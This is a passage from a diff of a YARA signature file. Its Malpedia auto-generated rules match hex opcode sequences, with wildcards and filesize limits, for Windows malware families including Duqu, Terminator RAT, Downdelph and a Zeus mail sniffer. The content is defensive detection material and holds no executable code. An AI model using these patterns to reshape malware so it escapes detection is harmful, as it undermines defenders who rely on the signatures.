+		$sequence_5 = { ff15???????? 8b550c 884304 8bc2 c1e802 25ff000000 8d4cc324 }
+		$sequence_6 = { 83c220 85c0 7404 3bc2 }
+		$sequence_7 = { 7405 8d4e1c 8908 8b4508 }
+		$sequence_8 = { 7511 ff4e18 7505 e8???????? }
+		$sequence_9 = { 85c0 e8???????? 8be5 5d }
+		$sequence_10 = { 894804 8b4608 8b4e0c 8901 894804 8b4718 }
+		$sequence_11 = { 8936 8d7e08 897f04 893f 894e14 895e10 }
+		$sequence_12 = { 83f919 7703 83c220 85c0 }
+		$sequence_13 = { 8975d0 c745d800020000 8975d4 8975dc 8975e0 }
+		$sequence_14 = { 8b7e10 eb06 8b5d0c 8b7d08 8bcf ff15???????? }
+		$sequence_15 = { 7521 8bc3 c1e802 25ff000000 8d4cc724 8b01 }
+		$sequence_16 = { 5d c3 85c9 e8???????? }
+		$sequence_17 = { 5d c3 85c0 e8???????? }
+		$sequence_18 = { 16 85c9 23d2 59 }
+		$sequence_19 = { 55 8bec 85db 85c9 }
+		$sequence_20 = { 23db 81e1ff000000 23c9 83440c0404 }
+		$sequence_21 = { 23c9 81e1ffff0000 85c0 51 85c9 e8???????? 8be5 }
+		$sequence_22 = { 8b4d08 85d2 81e1ff000000 85db 83440c0404 23d2 }
+		$sequence_23 = { 45 7d58 95 08c1 a3???????? 5c 46 }
+		$sequence_24 = { 59 23db 23d2 81e1ffff0000 85c0 85c0 51 }
+		$sequence_25 = { 20a8261ce0dc 3d6235c121 652572f7a5a7 ce }
+		$sequence_26 = { 7e27 0cc7 8e610b 69f8d60e5ca1 2e08450d }
+		$sequence_27 = { 03ea 680c000000 012c24 8b0d???????? }
+		$sequence_28 = { 17 d3fb 7127 49 ee }
+		$sequence_29 = { 4c8bdc 49895b08 49897310 57 4883ec30 33c0 }
+		$sequence_30 = { 4b af 7dce 98 }
+		$sequence_31 = { 498be8 488bfa 7429 498d4320 488bd1 498d4bc8 }
+		$sequence_32 = { 498b5b38 498b6b40 498b7348 8bc7 498be3 415f }
+		$sequence_33 = { 61 54 99 46 45 e7f2 0ad7 }
+		$sequence_34 = { 807bf9f3 53 56 b88302010b 92 090468 }
+		$sequence_35 = { 59 85c0 85c0 81e1ffff0000 23d2 85db 51 }
+		$sequence_36 = { ff15???????? 4c8d5c2460 498b5b18 498b6b20 }
+		$sequence_37 = { 488364245800 488364247000 488364247800 488d442430 4c8d4c2440 }
+		$sequence_38 = { 46 92 c55151 a2???????? d24b46 }
+		$sequence_39 = { ff15???????? b8feff0000 483bf0 480f47f0 }
+		$sequence_40 = { 23d2 85db 8b4d08 85db }
+		$sequence_41 = { 81e1ffff0000 23d2 23c9 51 85c0 e8???????? }
+		$sequence_42 = { e19b 06 6d 99 }
+		$sequence_43 = { 61 c0390e 60 da57b2 }
 
 	condition:
-		7 of them and filesize <2007040
+		7 of them and filesize <548864
 }
-rule MALPEDIA_Win_Mosquito_Auto : FILE
+rule MALPEDIA_Win_Downdelph_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d845e95b-9b1b-51f7-92b1-5c116f68e381"
+		id = "9652ab66-5cde-50a7-9cf0-943c75b27c39"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mosquito_auto.yar#L1-L192"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.downdelph_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "87ba9d2670a970e725fcb73c4f11150d5260680ad8d699153882d887044e12b1"
+		logic_hash = "800e73805e0adaa63996d81ee2c529d701882055ee15e51dd88ba5a4c6bc228a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -159340,43 +166416,32 @@ rule MALPEDIA_Win_Mosquito_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f3a5 ff942464020000 81c450020000 85c0 }
-		$sequence_1 = { 52 50 6a00 6801c1fd7d }
-		$sequence_2 = { f7d8 1bc0 83e0b4 83c04c }
-		$sequence_3 = { 8b10 8bc8 57 6842730000 ff5204 56 }
-		$sequence_4 = { b994000000 8bfc f3a5 ff942464020000 }
-		$sequence_5 = { 8b10 8bc8 ff5204 56 }
-		$sequence_6 = { e8???????? 85c0 7517 8bcb e8???????? 8b7328 }
-		$sequence_7 = { e8???????? 6a20 e8???????? 83c40c }
-		$sequence_8 = { 8b00 33ff 57 6880000000 6a03 57 }
-		$sequence_9 = { e8???????? 6a20 8bf0 e8???????? 8bc8 }
-		$sequence_10 = { 8bfc f3a5 ff942460020000 81c450020000 }
-		$sequence_11 = { 6824080000 50 e8???????? 83c410 }
-		$sequence_12 = { 0000 006301 1000 7500 }
-		$sequence_13 = { 0000 0018 a0???????? 57 }
-		$sequence_14 = { 0000 0001 1001 c550f0 8b8078005900 }
-		$sequence_15 = { 0000 0032 08804d086440 5e }
-		$sequence_16 = { 0000 00645657 8b7dc2 0400 }
-		$sequence_17 = { 0000 006500 676c 0010 }
-		$sequence_18 = { ff15???????? 6a00 56 ff15???????? 8903 83f8ff }
-		$sequence_19 = { 0000 00748078 3001 40 }
-		$sequence_20 = { 6aff 5d c28bcf 7300 6a01 }
+		$sequence_0 = { 85c9 0f84d2feffff 53 56 57 89c3 }
+		$sequence_1 = { 83c4f8 8bf2 33d2 8bdc }
+		$sequence_2 = { e8???????? 48 50 8bc3 b901000000 8b15???????? }
+		$sequence_3 = { 8d55d8 e8???????? 8b5708 88041a }
+		$sequence_4 = { 53 56 33db 899de0fbffff }
+		$sequence_5 = { 0f8cd6020000 46 33ff 8b15???????? 8bc7 e8???????? }
+		$sequence_6 = { 8b45fc e8???????? 50 8b45f0 }
+		$sequence_7 = { 2bd3 2bd7 8bfa 85ff 7d02 33ff }
+		$sequence_8 = { 68???????? 64ff32 648922 6a00 6800000080 }
+		$sequence_9 = { ff05???????? 7544 b8???????? e8???????? b8???????? }
 
 	condition:
-		7 of them and filesize <1015808
+		7 of them and filesize <172032
 }
-rule MALPEDIA_Win_Babyshark_Auto : FILE
+rule MALPEDIA_Win_Terminator_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "bba62dea-b8fb-5177-af59-ee7484609223"
+		id = "9d4805e3-697a-5809-9888-0af99434fee9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.babyshark_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.terminator_rat_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "170a55c792dd841a430b5276e4b7ea8cd0c0e2d28c406b503a22728951bd6c1d"
+		logic_hash = "460088279758b4b56f7253332ea9c90ec016fa5d0376dce042f468a189f77f7d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159390,32 +166455,32 @@ rule MALPEDIA_Win_Babyshark_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c40c 8d4c2404 6a00 51 ffd6 6a00 }
-		$sequence_1 = { 8bc8 83e01f c1f905 8b0c8d607e4000 8a44c104 83e040 }
-		$sequence_2 = { 8b0c8d607e4000 8a44c104 83e040 c3 a1???????? }
-		$sequence_3 = { bf???????? f3ab 8d3452 895dfc c1e604 aa 8d9ec8674000 }
-		$sequence_4 = { 80e920 ebe0 80a0206c400000 40 3bc6 72be 5e }
-		$sequence_5 = { 8db6bc674000 bf???????? a5 a5 59 a3???????? }
-		$sequence_6 = { 8a8094504000 83e00f eb02 33c0 0fbe84c6b4504000 }
-		$sequence_7 = { c1f804 83f807 8945d0 0f879a060000 ff2485271a4000 834df0ff }
-		$sequence_8 = { 5e 8d0c8dc8614000 3bc1 7304 3910 7402 }
-		$sequence_9 = { ff15???????? 8bf0 68???????? 8d442408 68???????? 50 }
+		$sequence_0 = { ffb519010000 8947fc 8b47f4 8b4008 894708 e8???????? 8b47fc }
+		$sequence_1 = { c70020000000 8b852d010000 2b08 894804 }
+		$sequence_2 = { 33db 395e0c 752f 6a40 6800100000 6800180000 }
+		$sequence_3 = { 26a130000000 07 8b400c 8b701c }
+		$sequence_4 = { 50 ffb525010000 ff95e1000000 85c0 }
+		$sequence_5 = { eb31 ff9509010000 3d4c270000 750e }
+		$sequence_6 = { 57 8bfc 81ec04040000 53 56 33db }
+		$sequence_7 = { 8b4b0c ac 3459 c0c803 3448 c0c803 }
+		$sequence_8 = { ffb519010000 8947fc 8b47f4 8b4008 }
+		$sequence_9 = { 60 33c0 8b4f0c 8b7f08 }
 
 	condition:
-		7 of them and filesize <65272
+		7 of them and filesize <73728
 }
-rule MALPEDIA_Win_Mirage_Auto : FILE
+rule MALPEDIA_Win_Flying_Dutchman_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1bf63709-182f-50be-a8ab-e40f87c0e4e9"
+		id = "bcfa70ed-52d3-5ff6-98d2-54bf0fdb6694"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mirage_auto.yar#L1-L173"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flying_dutchman_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "dc6fe884f3e04eb4b8ba5e715519d9f15ffa67807a8e3bc171df65981afb64ab"
+		logic_hash = "395092a50a0edc892d45a5d410470e4cbf5a35f346d3d2f6d581d10febaed0cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159429,38 +166494,32 @@ rule MALPEDIA_Win_Mirage_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6801000080 ff15???????? 85c0 7556 }
-		$sequence_1 = { 50 6a01 6a06 c645ff01 }
-		$sequence_2 = { a0???????? 8d8d90feffff ff35???????? 50 ff75ec ff75e8 e8???????? }
-		$sequence_3 = { 50 8d857cfdffff 50 e8???????? 59 59 8d8580feffff }
-		$sequence_4 = { 3b4510 894514 731f 6802800000 8d8520010000 53 }
-		$sequence_5 = { ff7518 e8???????? 83c41c 85ff 7613 8b4518 57 }
-		$sequence_6 = { 50 53 68???????? c745f804010000 ff75fc ff15???????? }
-		$sequence_7 = { 395df4 0f85b1000000 3bf3 0f85a9000000 381f }
-		$sequence_8 = { ff7518 03fb e8???????? 33db 59 }
-		$sequence_9 = { 57 8b7d18 8bf1 8d5f19 88461c 53 e8???????? }
-		$sequence_10 = { e8???????? 50 8d8520f9ffff e9???????? }
-		$sequence_11 = { 85c0 5e 7507 8b45f8 }
-		$sequence_12 = { 50 8b08 ff517c 8b06 8d55f4 52 50 }
-		$sequence_13 = { e8???????? 8d45e4 56 83c704 }
-		$sequence_14 = { ff15???????? 8d85f4f0ffff 53 50 68???????? 56 e8???????? }
-		$sequence_15 = { 56 50 e8???????? 83c414 e9???????? ff75f0 e8???????? }
+		$sequence_0 = { 66890c02 83c002 6685c9 75f1 e9???????? 8b85e8feffff 83e800 }
+		$sequence_1 = { 48 0f84f8000000 48 0f853d010000 83bd44fcffff06 7553 8b35???????? }
+		$sequence_2 = { 8bec 51 56 6a18 e8???????? 33f6 }
+		$sequence_3 = { 8d442430 50 89742438 895c2434 68???????? eb40 57 }
+		$sequence_4 = { ff75f0 f3a5 ff75f4 ff15???????? ff75f4 8b35???????? ffd6 }
+		$sequence_5 = { 3bfb 7531 6a14 e8???????? 8bf0 59 }
+		$sequence_6 = { ff15???????? 3bc7 7504 33c0 eb1f 0fbf480a }
+		$sequence_7 = { 0f8489000000 48 747f 2ddb030000 }
+		$sequence_8 = { e8???????? 8be5 5d c20800 55 8bec 81eca8000000 }
+		$sequence_9 = { 832600 83660400 83660800 c3 8b4b04 56 57 }
 
 	condition:
-		7 of them and filesize <1695744
+		7 of them and filesize <276480
 }
-rule MALPEDIA_Win_Unidentified_096_Auto : FILE
+rule MALPEDIA_Win_Webc2_Ausov_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "22c09f40-2011-5730-9e32-986d3f55e0d2"
+		id = "452f6306-c16f-58b7-84a1-ee288d662c0a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_096"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_096_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_ausov_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "5261db5ca22f6df28b3364eb8987d65dbffd712b51f02eb4b92928e711dc9c45"
+		logic_hash = "e12dc956bf634cd764e774e1669338328ccbb898d34279d3918e11978d93f5a2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159474,32 +166533,32 @@ rule MALPEDIA_Win_Unidentified_096_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 896c2444 c744244806000000 896c244c c744245010304000 }
-		$sequence_1 = { ff15???????? 8bf0 a1???????? 3bf0 }
-		$sequence_2 = { b021 a2???????? eb56 b040 a2???????? eb4d }
-		$sequence_3 = { b02b eb11 b02d eb0d f644240c01 740b b02e }
-		$sequence_4 = { 68???????? 52 e8???????? 83c424 8b4c242a 6683f930 0f8283000000 }
-		$sequence_5 = { 90 6aff 68???????? 68???????? 64a100000000 }
-		$sequence_6 = { 8b4c2420 8b54241c 8b442414 51 52 68ff000000 }
-		$sequence_7 = { 3dff000000 741d 8b4c2420 8b54241c 51 52 }
-		$sequence_8 = { b029 a2???????? eb5f b021 }
-		$sequence_9 = { 56 8b35???????? 57 6a14 ffd6 6a10 0fbfd8 }
+		$sequence_0 = { 0f8501000000 f8 8b95f8fbffff 0355fc 8995f8fbffff 0f8407000000 }
+		$sequence_1 = { 83bdc4fdffff00 7507 33c0 e9???????? 8d8da8faffff 898d4cfaffff }
+		$sequence_2 = { 0f8487000000 8b3d???????? 68???????? 56 }
+		$sequence_3 = { 0f8407000000 0f8501000000 f8 68???????? }
+		$sequence_4 = { 83c101 894df8 8b55f8 3b55f4 7d31 0f8407000000 }
+		$sequence_5 = { f7d1 83c1ff 51 8d95f8feffff 52 }
+		$sequence_6 = { 0f8501000000 f8 68???????? 8d8dfcfbffff 51 }
+		$sequence_7 = { 6804010000 8d85a8faffff 50 68???????? ff15???????? 8985c4fdffff 83bdc4fdffff00 }
+		$sequence_8 = { 81ec10040000 53 56 57 0f8407000000 0f8501000000 }
+		$sequence_9 = { e8???????? 83c404 8b4d0c 894104 e9???????? 8dbdfcfbffff 83c9ff }
 
 	condition:
-		7 of them and filesize <25648
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Glooxmail_Auto : FILE
+rule MALPEDIA_Win_Malumpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9fc08289-2c15-5e6a-a020-5e3374a227b0"
+		id = "011d5980-db12-575d-b128-68c240971c82"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glooxmail_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.malumpos_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "3f9c49f2bcdac7dc8871b003117cb741dd79fa085062dcf8b6237e67caf4dc2a"
+		logic_hash = "1d9a68f5cdfadc8f79ba4d8f4695a01ec544e2c566edbd712a7ed582b4a68976"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159513,32 +166572,32 @@ rule MALPEDIA_Win_Glooxmail_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 834dfcff 6a00 53 8d4d38 }
-		$sequence_1 = { e8???????? 899c2460800000 895c240c 895c2410 68ff7f0000 8d442451 53 }
-		$sequence_2 = { 57 8d8c24f4030000 e8???????? 8d8c2418080000 51 8d8c24f4030000 c684246408000030 }
-		$sequence_3 = { 0f840c000000 8365f0fe 8d4dc4 e9???????? c3 8b542408 8d420c }
-		$sequence_4 = { b8???????? e9???????? 8d4d00 e9???????? 8d4dd4 e9???????? 8d4dd4 }
-		$sequence_5 = { 59 c3 8b85acf7ffff 2500000400 0f8415000000 81a5acf7fffffffffbff }
-		$sequence_6 = { e8???????? 8bd9 895de8 8d7b04 8d7308 c703???????? c707???????? }
-		$sequence_7 = { c700???????? c74004???????? c74008???????? c7400cb04a4400 c74010bc4a4400 c74014c84a4400 c74018d44a4400 }
-		$sequence_8 = { 8d8d2cffffff e9???????? c3 8b542408 8d82acfbffff 8b8aa8fbffff 33c8 }
-		$sequence_9 = { ff750c 8b01 ff5044 84c0 7504 b301 eb02 }
+		$sequence_0 = { 85f6 7907 0d80000000 eb27 }
+		$sequence_1 = { 53 50 c78500fdffff07000100 895d4c 895dcc e8???????? }
+		$sequence_2 = { 59 8d45cc 50 ff15???????? 6a44 }
+		$sequence_3 = { 0f1f00 0f1f00 0f1f00 0f1f00 6a72 }
+		$sequence_4 = { 3bc8 0f86f1feffff ff770c 50 e8???????? }
+		$sequence_5 = { 7805 0500000000 57 3500000000 }
+		$sequence_6 = { 8a0432 3c3d 7506 8365fc00 eb0d }
+		$sequence_7 = { e8???????? 68???????? a3???????? ffd0 810d????????00200000 be???????? c745f468e50300 }
+		$sequence_8 = { 6683f300 55 51 7204 }
+		$sequence_9 = { 8d4520 50 ff15???????? 8d4520 }
 
 	condition:
-		7 of them and filesize <761856
+		7 of them and filesize <542720
 }
-rule MALPEDIA_Win_Decaf_Auto : FILE
+rule MALPEDIA_Win_Zeus_Mailsniffer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "871b7c64-9bb1-5d5d-b760-fe69f683da0a"
+		id = "4733ffb9-de21-5ee6-bd3e-4039874823ba"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.decaf_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_mailsniffer_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "2f8679cf6195e76585744c378fca956597817fdb2b26b865768f35c66fced6eb"
+		logic_hash = "43d5df07bea6317ea4eb20e7781c6702e7589e518cedd0ad1502aceef73d3213"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159552,32 +166611,32 @@ rule MALPEDIA_Win_Decaf_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? e8???????? 48898424a8180000 48899c2440060000 488b0d???????? 48898c2420230000 488d0543040c00 }
-		$sequence_1 = { 4c8b442470 4889c7 4889ce 488b442440 c7041fcacccec6 b905000000 e9???????? }
-		$sequence_2 = { e9???????? 4c8d4302 4c39c6 7337 4c89442468 488d05d8a30300 4889d9 }
-		$sequence_3 = { c3 488d0582761b00 bb10000000 e8???????? 4889f8 b900200000 e8???????? }
-		$sequence_4 = { e8???????? 488b8c24b8040000 48894808 833d????????00 7514 488b8c2410160000 488908 }
-		$sequence_5 = { eb1c 4889c7 488b8c24f0120000 e8???????? 488d3d53871f00 e8???????? e8???????? }
-		$sequence_6 = { e8???????? 488d05d4ad1300 488d1d95d21900 e8???????? 4d8d6830 4c89d6 4d89ea }
-		$sequence_7 = { e9???????? 90 66c744244f1c14 0fb654244f 88542445 440fb6442450 4488442444 }
-		$sequence_8 = { c6041f95 31c9 e9???????? 4983f809 754d 4c8d4301 4c39c6 }
-		$sequence_9 = { e9???????? 48895c2428 4889442430 488d0d664c1d00 bf0d000000 e8???????? 4885c0 }
+		$sequence_0 = { 6a01 56 e8???????? 83c40c 85c0 7473 807b0e02 }
+		$sequence_1 = { 53 6880000000 6a03 53 53 68000000c0 8bc6 }
+		$sequence_2 = { 68???????? ff750c ff15???????? 83c40c 85c0 0f85bc000000 ffd6 }
+		$sequence_3 = { 0f84e2020000 53 8d4594 50 8d4588 50 c7459401000000 }
+		$sequence_4 = { 8b4510 0118 ff45d8 837dc800 0f8480000000 ff75f4 }
+		$sequence_5 = { 33f6 e8???????? 83c40c 84c0 0f843d020000 8b45f4 }
+		$sequence_6 = { 56 ff75fc e8???????? 83c414 8bf8 8b35???????? ff15???????? }
+		$sequence_7 = { 0f8c5b010000 40 3b442410 72dd e9???????? 50 }
+		$sequence_8 = { 74f4 6a08 8d442430 53 }
+		$sequence_9 = { 2bd1 eb99 55 8bec 83e4f8 81ecfc0e0000 53 }
 
 	condition:
-		7 of them and filesize <7193600
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Reaver_Auto : FILE
+rule MALPEDIA_Win_Dramnudge_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "92b8afe7-b0ea-5ba5-8d5f-5512437f6132"
+		id = "4e1e9905-62de-5567-9ed7-a82928870a8c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.reaver_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dramnudge_auto.yar#L1-L90"
 		license_url = "N/A"
-		logic_hash = "8a78ae101ee8d9e477556b7d81328c10daa6a32306210d234ed44ad07120f4bd"
+		logic_hash = "221dd8bcd930b6121a924fbe6761de15c83c657ddce0c9178183beb8828f75f7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159591,32 +166650,30 @@ rule MALPEDIA_Win_Reaver_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 85c0 7453 8d45f4 50 ff7508 }
-		$sequence_1 = { 50 ff7508 6a00 ff15???????? 85c0 7440 }
-		$sequence_2 = { ff15???????? 85c0 7453 8d45f4 }
-		$sequence_3 = { 85c0 7453 8d45f4 50 ff7508 }
-		$sequence_4 = { 85c0 7440 8b45f4 6a00 8945e8 }
-		$sequence_5 = { 85c0 7440 8b45f4 6a00 }
-		$sequence_6 = { 85c0 740d ff15???????? 3d14050000 7504 33c0 }
-		$sequence_7 = { 8bec 83ec1c 8d45fc 50 68ff010f00 }
-		$sequence_8 = { 8bec 83ec1c 8d45fc 50 68ff010f00 ff15???????? 50 }
-		$sequence_9 = { 85c0 740d ff15???????? 3d14050000 }
+		$sequence_0 = { 014218 eb18 03c3 8bd3 }
+		$sequence_1 = { 000c00 20b140005f5f 7277 7374 }
+		$sequence_2 = { 014318 8b430c 2b4308 03c6 }
+		$sequence_3 = { 000c00 e0d9 40 007374 }
+		$sequence_4 = { 014318 8b4318 8b55f8 03d6 }
+		$sequence_5 = { 007374 643a3a 7275 6e }
+		$sequence_6 = { 0000 90 000c00 20b140005f5f }
+		$sequence_7 = { 014318 eb5b 33f6 eb01 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <1294336
 }
-rule MALPEDIA_Win_Nemim_Auto : FILE
+rule MALPEDIA_Win_Duqu_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7264494b-d73b-5298-a829-f60e4932364f"
+		id = "4f983d2e-8e54-5fa3-99e8-f35467f58ba0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nemim_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.duqu_auto.yar#L1-L157"
 		license_url = "N/A"
-		logic_hash = "0e5cb332d550079bcd770b6c5ca18dad9c60646bca1f9092ed4ed3564e5ea600"
+		logic_hash = "c9f95c9fbccbdcbcab2eb713244b96d59984c1db33c0129682f88201221bf820"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159630,32 +166687,38 @@ rule MALPEDIA_Win_Nemim_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { a1???????? c1e002 89b48050744300 8b0d???????? 893d???????? 890d???????? }
-		$sequence_1 = { eb3b a1???????? 68???????? 50 e8???????? 83c408 }
-		$sequence_2 = { 5e 5b c9 c20400 8bc1 c700???????? c3 }
-		$sequence_3 = { 5e 5d b801000000 5b 81c4bc000000 c3 }
-		$sequence_4 = { 8d44240c 55 50 56 c744241828010000 e8???????? 85c0 }
-		$sequence_5 = { 51 e8???????? 8dbc24600a0000 83c9ff 33c0 }
-		$sequence_6 = { 8b16 c1ea08 885001 8b0e c1e910 }
-		$sequence_7 = { 52 e8???????? 8b4c2440 8944244c b801000000 }
-		$sequence_8 = { 83fe10 7cde c605????????00 b90b000000 be???????? 8dbc2410010000 }
-		$sequence_9 = { 8844244c e8???????? 68???????? e8???????? 68???????? 8bf0 }
+		$sequence_0 = { 8bcb e8???????? bacdc185ad 89464c }
+		$sequence_1 = { 85f6 7eb3 b8c64ff867 8bde 8bd7 89442420 }
+		$sequence_2 = { 8b5c2414 85db 0f8402ffffff 46 }
+		$sequence_3 = { 85c0 0f848b020000 ba10ee27d3 8bcf e8???????? 894624 85c0 }
+		$sequence_4 = { 0f84f7000000 0fb706 b9ab4f5ecd 33c1 }
+		$sequence_5 = { 56 51 8bf2 e8???????? }
+		$sequence_6 = { 83c120 0fb7c9 8bc1 0fafc9 83e007 }
+		$sequence_7 = { 85c0 7465 e8???????? 85c0 }
+		$sequence_8 = { 55 8bec 81ec08020000 56 8bf2 8d95f8fdffff }
+		$sequence_9 = { 8bcb e8???????? bafa67937e 894648 8bcf }
+		$sequence_10 = { 8bf2 57 8d8e14020000 e8???????? }
+		$sequence_11 = { 8bf2 57 8d4e4c e8???????? }
+		$sequence_12 = { 8bf2 8bf9 ff15???????? 56 }
+		$sequence_13 = { 8bf2 57 8d8ecc000000 e8???????? }
+		$sequence_14 = { 8bf2 57 8d8e0c020000 e8???????? }
+		$sequence_15 = { 8bf2 57 8bf9 85f6 7425 66833e00 }
 
 	condition:
-		7 of them and filesize <499712
+		7 of them and filesize <18759680
 }
-rule MALPEDIA_Win_Astralocker_Auto : FILE
+rule MALPEDIA_Win_Netrepser_Keylogger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0d5879c8-ffd6-54eb-8701-3a0bd5bd2437"
+		id = "888501fd-ce54-593e-a428-69ec62ec3120"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.astralocker_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netrepser_keylogger_auto.yar#L1-L175"
 		license_url = "N/A"
-		logic_hash = "04cf0865e55d3f7d37324f7ff4a5b3ef42183f756ec3ed69d17a248a6814ecfc"
+		logic_hash = "afbddedf93927cf0ceddcdc20a2ff3aea4d270191a04c2cfa6d38a1b702f0067"
 		score = 75
 		quality = 75
 		tags = "FILE"
